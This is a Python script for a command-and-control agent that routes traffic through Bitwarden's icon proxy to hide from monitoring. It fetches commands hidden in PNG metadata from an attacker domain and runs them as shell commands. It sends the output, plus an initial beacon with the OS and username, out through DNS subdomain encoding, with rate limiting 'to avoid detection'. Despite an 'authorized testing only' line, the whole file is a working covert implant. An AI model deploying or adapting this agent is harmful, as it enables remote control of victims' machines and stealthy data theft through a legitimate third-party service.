#!/usr/bin/env python3
"""
Bitwarden Icon Proxy C2 — Agent Component

Polls commands from PNG metadata served via icons.bitwarden.net.
Exfiltrates results via DNS subdomain encoding.

All traffic goes to icons.bitwarden.net (legitimate Bitwarden domain).
No direct connection to attacker infrastructure.

Usage:
    python3 c2_agent.py --server <attacker-domain> --oast <oast-domain>

FOR AUTHORIZED SECURITY TESTING ONLY
"""

import struct
import json
import time
import base64
import hashlib
import subprocess
import urllib.request
import urllib.error
import argparse
import ssl
import os
import random
import string


ICON_PROXY = "https://icons.bitwarden.net"


def parse_png_text_chunks(data: bytes) -> list:
    """Extract tEXt chunks from PNG data."""
    chunks = []
    offset = 8  # Skip PNG signature

    while offset < len(data) - 8:
        length = struct.unpack(">I", data[offset:offset+4])[0]
        chunk_type = data[offset+4:offset+8].decode("ascii", errors="replace")

        if offset + 12 + length > len(data):
            break

        chunk_data = data[offset+8:offset+8+length]

        if chunk_type in ("tEXt", "iTXt"):
            text = chunk_data.decode("ascii", errors="replace")
            null_idx = text.find("\x00")
            if null_idx >= 0:
                keyword = text[:null_idx]
                value = text[null_idx+1:]
                chunks.append({"keyword": keyword, "value": value})

        offset += 12 + length

    return chunks


def fetch_command(server_domain: str, session_id: str) -> dict:
    """Fetch command from PNG metadata via Bitwarden icon proxy."""
    # Each poll uses a unique subdomain to bust the cache
    cache_bust = ''.join(random.choices(string.ascii_lowercase, k=6))
    hostname = f"{cache_bust}-{session_id}.{server_domain}"
    url = f"{ICON_PROXY}/{hostname}/icon.png"

    ctx = ssl.create_default_context()

    try:
        req = urllib.request.Request(url, headers={
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        })
        with urllib.request.urlopen(req, context=ctx, timeout=15) as resp:
            data = resp.read()

        chunks = parse_png_text_chunks(data)
        for chunk in chunks:
            if chunk["keyword"] == "Comment":
                try:
                    return json.loads(chunk["value"])
                except json.JSONDecodeError:
                    pass

    except Exception as e:
        return {"error": str(e)}

    return {"error": "no command found"}


def exfil_result(result: str, oast_domain: str, tag: str = "result"):
    """Exfiltrate result via DNS subdomain encoding through icon proxy."""
    # Hex encode — DNS-safe (case insensitive, no special chars)
    encoded = result.encode().hex()

    # Split into 50-char labels (max DNS label is 63)
    labels = [encoded[i:i+50] for i in range(0, len(encoded), 50)]

    for i, label in enumerate(labels):
        hostname = f"{tag}-{i}-{label}.{oast_domain}"
        url = f"{ICON_PROXY}/{hostname}/icon.png"

        try:
            req = urllib.request.Request(url, headers={
                "User-Agent": "Mozilla/5.0",
            })
            ctx = ssl.create_default_context()
            urllib.request.urlopen(req, context=ctx, timeout=10)
        except Exception:
            pass  # DNS lookup already happened, that's all we need

        time.sleep(0.5)  # Rate limit to avoid detection


def execute_command(cmd: str) -> str:
    """Execute a system command and return output."""
    try:
        result = subprocess.run(
            cmd, shell=True, capture_output=True, text=True, timeout=30
        )
        output = result.stdout + result.stderr
        return output[:500]  # Limit output size for DNS exfil
    except subprocess.TimeoutExpired:
        return "TIMEOUT"
    except Exception as e:
        return f"ERROR: {e}"


def main():
    parser = argparse.ArgumentParser(description="Bitwarden Icon Proxy C2 Agent")
    parser.add_argument("--server", required=True, help="C2 server domain (e.g., 139-59-186-194.nip.io)")
    parser.add_argument("--oast", required=True, help="OAST domain for result exfil")
    parser.add_argument("--interval", type=int, default=30, help="Poll interval in seconds")
    parser.add_argument("--session", default=None, help="Session ID (random if not set)")
    args = parser.parse_args()

    session_id = args.session or hashlib.md5(os.urandom(8)).hexdigest()[:8]

    print(f"Bitwarden Icon Proxy C2 Agent")
    print(f"  Session:  {session_id}")
    print(f"  Server:   {args.server}")
    print(f"  OAST:     {args.oast}")
    print(f"  Interval: {args.interval}s")
    print(f"  Proxy:    {ICON_PROXY}")
    print()
    print(f"All traffic goes to icons.bitwarden.net")
    print(f"No direct connection to attacker infrastructure")
    print()

    # Initial beacon
    exfil_result(
        f"BEACON|{session_id}|{os.name}|{os.getenv('USERNAME', os.getenv('USER', 'unknown'))}",
        args.oast,
        tag="beacon"
    )
    print(f"[{time.strftime('%H:%M:%S')}] Beacon sent")

    last_cmd = None

    while True:
        try:
            cmd_data = fetch_command(args.server, session_id)

            if "error" in cmd_data:
                print(f"[{time.strftime('%H:%M:%S')}] Poll error: {cmd_data['error'][:60]}")
            elif "cmd" in cmd_data:
                cmd = cmd_data["cmd"]

                if cmd != last_cmd:
                    print(f"[{time.strftime('%H:%M:%S')}] New command: {cmd}")
                    result = execute_command(cmd)
                    print(f"[{time.strftime('%H:%M:%S')}] Result: {result[:80]}")

                    exfil_result(result, args.oast, tag=f"r-{session_id}")
                    print(f"[{time.strftime('%H:%M:%S')}] Result exfiltrated via DNS")

                    last_cmd = cmd
                else:
                    print(f"[{time.strftime('%H:%M:%S')}] No new command")

        except KeyboardInterrupt:
            print("\nAgent stopped")
            break
        except Exception as e:
            print(f"[{time.strftime('%H:%M:%S')}] Error: {e}")

        time.sleep(args.interval)


if __name__ == "__main__":
    main()
